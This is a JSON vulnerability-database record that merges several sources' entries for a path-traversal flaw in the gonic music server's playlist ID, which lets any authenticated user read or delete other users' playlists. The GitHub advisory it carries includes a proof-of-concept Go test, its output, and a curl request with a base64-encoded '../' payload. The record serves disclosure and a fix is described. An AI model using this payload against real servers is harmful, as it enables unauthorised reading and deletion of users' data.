{"id":"GO-2026-5825","revision":null,"records":[{"revision":"da2d44c1864946fab37d9ff04454f258","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-49339","aliases":[],"title":"Path traversal in getPlaylist/deletePlaylist bypasses ownership check: any authenticated user can read or delete any other user's playlist","description":"gonic is a music streaming server / free-software subsonic server API implementation. The maintainer's fix in  commit `6dd71e6a3c966867ef8c900d359a7df75789f410` added an ownership check based on `playlist.UserID`. However, `playlist.UserID` is derived from the first path segment of the attacker-controlled playlist ID, with no path containment on the resolved file path. Any authenticated Subsonic user can therefore bypass the ownership check and read any other user's playlist, delete any other user's playlist, and probe arbitrary file paths on the host for existence/readability. This is a bypass of the boundary the `6dd71e6` fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the `id` parameter rather than direct cross-user access). Commit 0824bed88f6bbc490ba28bf09d28e5dfeb07b445 in version 0.21.0 fixes the issue.","state":0,"publishedAt":"2026-06-19T18:23:20.236+00:00","modifiedAt":"2026-06-22T17:13:14.655+00:00","affected":[{"ecosystem":"Vendor product","name":"gonic","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"sentriz\",\n                    \"product\": \"gonic\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.21.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/sentriz/gonic/security/advisories/GHSA-2fp4-5v5c-4448","https://github.com/sentriz/gonic/commit/0824bed88f6bbc490ba28bf09d28e5dfeb07b445","https://github.com/sentriz/gonic/commit/6dd71e6"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49339","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-49339","identifiers":["CVE-2026-49339"]},"retained":false,"historicalAffected":[]},{"revision":"a626344c27f34200b81538b7573455cf","observedAt":"2026-11-07T11:31:28.752+00:00","statement":{"source":"euvd","id":"EUVD-2026-38062","aliases":["CVE-2026-49339","GHSA-2fp4-5v5c-4448"],"title":"gonic is a music streaming server / free-software subsonic server API implementation. The maintainer's fix in  commit `6dd71e6a3c966867ef8c900d359a7df75789f410` added an ownership check based on `playlist.UserID`. However, `playlist.UserID`…","description":"gonic is a music streaming server / free-software subsonic server API implementation. The maintainer's fix in  commit `6dd71e6a3c966867ef8c900d359a7df75789f410` added an ownership check based on `playlist.UserID`. However, `playlist.UserID` is derived from the first path segment of the attacker-controlled playlist ID, with no path containment on the resolved file path. Any authenticated Subsonic user can therefore bypass the ownership check and read any other user's playlist, delete any other user's playlist, and probe arbitrary file paths on the host for existence/readability. This is a bypass of the boundary the `6dd71e6` fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the `id` parameter rather than direct cross-user access). Commit 0824bed88f6bbc490ba28bf09d28e5dfeb07b445 in version 0.21.0 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":7.1,"severity":null}],"references":["https://github.com/sentriz/gonic/security/advisories/GHSA-2fp4-5v5c-4448","https://github.com/sentriz/gonic/commit/0824bed88f6bbc490ba28bf09d28e5dfeb07b445","https://github.com/sentriz/gonic/commit/6dd71e6"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38062","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 19, 2026, 6:23:20 PM","dateUpdated":"Jun 22, 2026, 5:13:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-38062","identifiers":["EUVD-2026-38062","CVE-2026-49339","GHSA-2fp4-5v5c-4448"]},"retained":false,"historicalAffected":[]},{"revision":"e4490a53b5244d7fadf64e530090d6ea","observedAt":"2026-10-27T13:11:53.172+00:00","statement":{"source":"nvd","id":"CVE-2026-49339","aliases":[],"title":"gonic is a music streaming server / free-software subsonic server API implementation. The maintainer's fix in  commit `6dd71e6a3c966867ef8c900d359a7df75789f410` added an ownership check based on `playlist.UserID`. However, `playlist.UserID`…","description":"gonic is a music streaming server / free-software subsonic server API implementation. The maintainer's fix in  commit `6dd71e6a3c966867ef8c900d359a7df75789f410` added an ownership check based on `playlist.UserID`. However, `playlist.UserID` is derived from the first path segment of the attacker-controlled playlist ID, with no path containment on the resolved file path. Any authenticated Subsonic user can therefore bypass the ownership check and read any other user's playlist, delete any other user's playlist, and probe arbitrary file paths on the host for existence/readability. This is a bypass of the boundary the `6dd71e6` fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the `id` parameter rather than direct cross-user access). Commit 0824bed88f6bbc490ba28bf09d28e5dfeb07b445 in version 0.21.0 fixes the issue.","state":0,"publishedAt":"2026-06-19T19:16:36.687+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/sentriz/gonic/commit/0824bed88f6bbc490ba28bf09d28e5dfeb07b445","https://github.com/sentriz/gonic/commit/6dd71e6","https://github.com/sentriz/gonic/security/advisories/GHSA-2fp4-5v5c-4448"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49339","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22","CWE-639"],"productCriteria":[],"sourceDates":{"published":"2026-06-19T19:16:36.687","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-49339","identifiers":["CVE-2026-49339"]},"retained":false,"historicalAffected":[]},{"revision":"f67e13e301fe42c4b98e61f5a707978d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-2fp4-5v5c-4448","aliases":["CVE-2026-49339","GO-2026-5825"],"title":"gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users' playlists","description":"## Summary\n\nThe maintainer's recent fix in [`6dd71e6a3c966867ef8c900d359a7df75789f410`](https://github.com/sentriz/gonic/commit/6dd71e6) (`fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist`) added an ownership check based on `playlist.UserID`. However, `playlist.UserID` is derived from the *first path segment* of the attacker-controlled playlist ID, with no path containment on the resolved file path.\n\n**Any authenticated Subsonic user** can therefore bypass the ownership check and:\n\n1. **Read any other user's playlist** (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by `..` traversal segments pointing into another user's playlist directory.\n2. **Delete any other user's playlist** (including admin's curated playlists) by the same trick against `deletePlaylist`.\n3. **Probe arbitrary file paths on the host** for existence/readability.\n\nThis is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the `id` parameter rather than direct cross-user access).\n\n## Root cause\n\n`server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode` performs raw base64 decode of the `id` parameter and passes the byte string straight to `playlistStore.Read/Delete`:\n\n```go\nfunc playlistIDDecode(id specid.ID) string {\n    path, _ := base64.URLEncoding.DecodeString(id.StringValue)\n    return string(path)\n}\n```\n\n`playlist/playlist.go::Store.Read` then:\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)   // no containment check\n// ...\nplaylist.UserID, err = userIDFromPath(relPath)  // extracts firstPathEl, e.g. \"2\"\nif err != nil {\n    playlist.UserID = 1                          // fallback\n}\n```\n\n`userIDFromPath` reads only the first segment via `firstPathEl(relPath)` (`strconv.Atoi` of `strings.Split(path, \"/\")[0]`). It does not validate that the cleaned absolute path stays under `s.basePath`.\n\nThe `id` parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like `\"2/../../<victim>/playlist.m3u\"` is preserved verbatim. `userIDFromPath` extracts `\"2\"` (the attacker's own user ID), `playlist.UserID = 2`, and the ownership check `playlist.UserID != user.ID && !playlist.IsPublic` becomes `2 != 2 && ...` → **false** → access allowed. Meanwhile `filepath.Join` resolves the `..` segments and escapes `basePath`.\n\n## Affected code\n\n- `playlist/playlist.go:88-144` — `Store.Read` joins `relPath` with `basePath` without containment validation\n- `playlist/playlist.go:200-206` — `Store.Delete` (same pattern)\n- `playlist/playlist.go:208-220` — `userIDFromPath` / `firstPathEl` trust only the first path segment\n- `server/ctrlsubsonic/handlers_playlist.go:51-72` — `ServeGetPlaylist` ownership check\n- `server/ctrlsubsonic/handlers_playlist.go:182-202` — `ServeDeletePlaylist` ownership check\n- `server/ctrlsubsonic/handlers_playlist.go:209-212` — `playlistIDDecode` (no validation)\n\n## Live PoC — passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_read_traversal_test.go` and run `go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {\n\tf := newFixture(t)\n\tt.Logf(\"alt user ID: %d, admin user ID: %d\", f.alt.ID, f.admin.ID)\n\n\t// Plant a sentinel M3U file outside the playlists directory.\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\tsentinelDir := filepath.Join(tmpDir, \"sensitive\")\n\trequire.NoError(t, os.MkdirAll(sentinelDir, 0o755))\n\tsentinelPath := filepath.Join(sentinelDir, \"secret.m3u\")\n\trequire.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:\"victim-secret\"\n#GONIC-COMMENT:\"sensitive content\"\n#GONIC-IS-PUBLIC:\"false\"\n`), 0o644))\n\n\t// RAW string — playlistIDDecode does base64 only, no path cleaning.\n\trawRel := fmt.Sprintf(\"%d/../../sensitive/secret.m3u\", f.alt.ID)\n\ttraversalID := playlistIDEncode(rawRel).String()\n\n\t// f.alt is the NON-ADMIN user.\n\tresp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{\"id\": {traversalID}})\n\tt.Logf(\"resp: %s\", string(resp))\n\n\trequire.Contains(t, string(resp), \"victim-secret\",\n\t\t\"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/\", f.alt.ID)\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN   TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix\n    alt user ID: 2, admin user ID: 1\n    resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n        \"playlist\":{\"id\":\"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==\",\n        \"name\":\"victim-secret\",\"comment\":\"sensitive content\",\"owner\":\"alt\",\n        \"songCount\":0,\"created\":\"...\",\"changed\":\"...\",\"duration\":0}}}\n--- PASS: TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix (0.06s)\n```\n\nThe same approach against `ServeDeletePlaylist` (`f.contr.ServeDeletePlaylist`) deletes the targeted file.\n\n## HTTP-level reproduction\n\n```bash\n# Attacker user (ID = N) reads target playlist owned by user M.\n# Construct the raw rel path: \"N/../M/<filename>.m3u\"\nATTACKER_ID=2\nRAW='2/../1/shared.m3u'\n\n# base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it)\nID=\"pl-$(printf '%s' \"$RAW\" | base64 -w0 | tr '/+' '_-')\"\n\ncurl -s \"http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID\" \\\n  | python3 -m json.tool\n# Response includes name, comment, IsPublic, and song list from the victim's playlist.\n```\n\n## Impact\n\n- **Confidentiality**: Any authenticated user can read any other user's playlist content, including the private (`IsPublic=false`) playlists that the recent 6dd71e6 fix specifically tried to protect.\n- **Integrity / Availability**: Any authenticated user can delete any other user's playlists, including admin's curated lists. Same bypass technique works against `ServeDeletePlaylist`.\n- **Trust boundary**: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched.\n- **Arbitrary file content read** is *constrained* by gonic's M3U parser — only `#GONIC-NAME:` / `#GONIC-COMMENT:` attributes from the target file survive parsing. File-existence probing works against arbitrary paths.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **7.1 High**\n\n## Suggested fix\n\nAdd path containment in `playlist/playlist.go` for `Store.Read`, `Store.Write`, and `Store.Delete` — reject any `relPath` that escapes `s.basePath` after `filepath.Join`:\n\n```go\nfunc (s *Store) contained(relPath string) (string, error) {\n    absPath := filepath.Join(s.basePath, relPath)\n    rel, err := filepath.Rel(s.basePath, absPath)\n    if err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n        return \"\", fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n    }\n    return absPath, nil\n}\n\nfunc (s *Store) Read(relPath string) (*Playlist, error) {\n    defer lock(&s.mu)()\n    if err := sanityCheck(s.basePath); err != nil {\n        return nil, err\n    }\n    absPath, err := s.contained(relPath)\n    if err != nil {\n        return nil, err\n    }\n    // ... rest unchanged, using absPath\n}\n```\n\nApply in `Write()` (line 153) and `Delete()` (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).","state":0,"publishedAt":"2026-06-26T23:32:10+00:00","modifiedAt":"2026-07-07T16:11:10.0526149+00:00","affected":[{"ecosystem":"Go","name":"go.senan.xyz/gonic","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.21.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/sentriz/gonic/security/advisories/GHSA-2fp4-5v5c-4448","https://nvd.nist.gov/vuln/detail/CVE-2026-49339","https://github.com/sentriz/gonic/commit/0824bed88f6bbc490ba28bf09d28e5dfeb07b445","https://github.com/sentriz/gonic/commit/6dd71e6","https://github.com/sentriz/gonic"],"sourceUrl":"https://github.com/advisories/GHSA-2fp4-5v5c-4448","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2fp4-5v5c-4448","identifiers":["GHSA-2fp4-5v5c-4448","CVE-2026-49339","GO-2026-5825"]},"retained":false,"historicalAffected":[]},{"revision":"2c5995abf6bf4402b8531a240d71a737","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5825","aliases":["CVE-2026-49339","GHSA-2fp4-5v5c-4448"],"title":"gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users' playlists in go.senan.xyz/gonic","description":"gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users' playlists in go.senan.xyz/gonic","state":0,"publishedAt":"2026-07-07T15:26:32+00:00","modifiedAt":"2026-07-07T16:00:21.4684925+00:00","affected":[{"ecosystem":"Go","name":"go.senan.xyz/gonic","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.21.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/sentriz/gonic/security/advisories/GHSA-2fp4-5v5c-4448","https://nvd.nist.gov/vuln/detail/CVE-2026-49339","https://github.com/sentriz/gonic/commit/0824bed88f6bbc490ba28bf09d28e5dfeb07b445","https://github.com/sentriz/gonic/commit/6dd71e6"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5825","license":"OSV · upstream source license applies","key":"osv:GO-2026-5825","identifiers":["GO-2026-5825","CVE-2026-49339","GHSA-2fp4-5v5c-4448"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:46.9707302+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.9707321+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-1766179264875bb4621a23ce4c6bcebec63fb794a16e35c2f5592f4ee300ee2e","complete":true,"records":420944,"lastAttemptAt":"2026-11-07T20:52:46.1142943+00:00","lastSuccessAt":"2026-11-07T20:52:46.0341312+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.1142943+00:00","snapshotPublishedAt":"2026-11-07T20:26:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3cd0d442cb9743cca8ad072f4e52f992","complete":false,"records":13633,"lastAttemptAt":"2026-11-07T20:53:02.6430546+00:00","lastSuccessAt":"2026-11-07T20:53:02.8232912+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:53:02.8232912+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:47.1482288+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:47.1482303+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b9464f9c589b4886928e7045b5ad1e11","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:52:54.6850231+00:00","lastSuccessAt":"2026-11-07T20:52:54.68+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:54.68+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:52:46.6024506+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.6024506+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:52:46.3552169+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.3552169+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:52:46.7261257+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.7261257+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:52:46.4923243+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.4923243+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}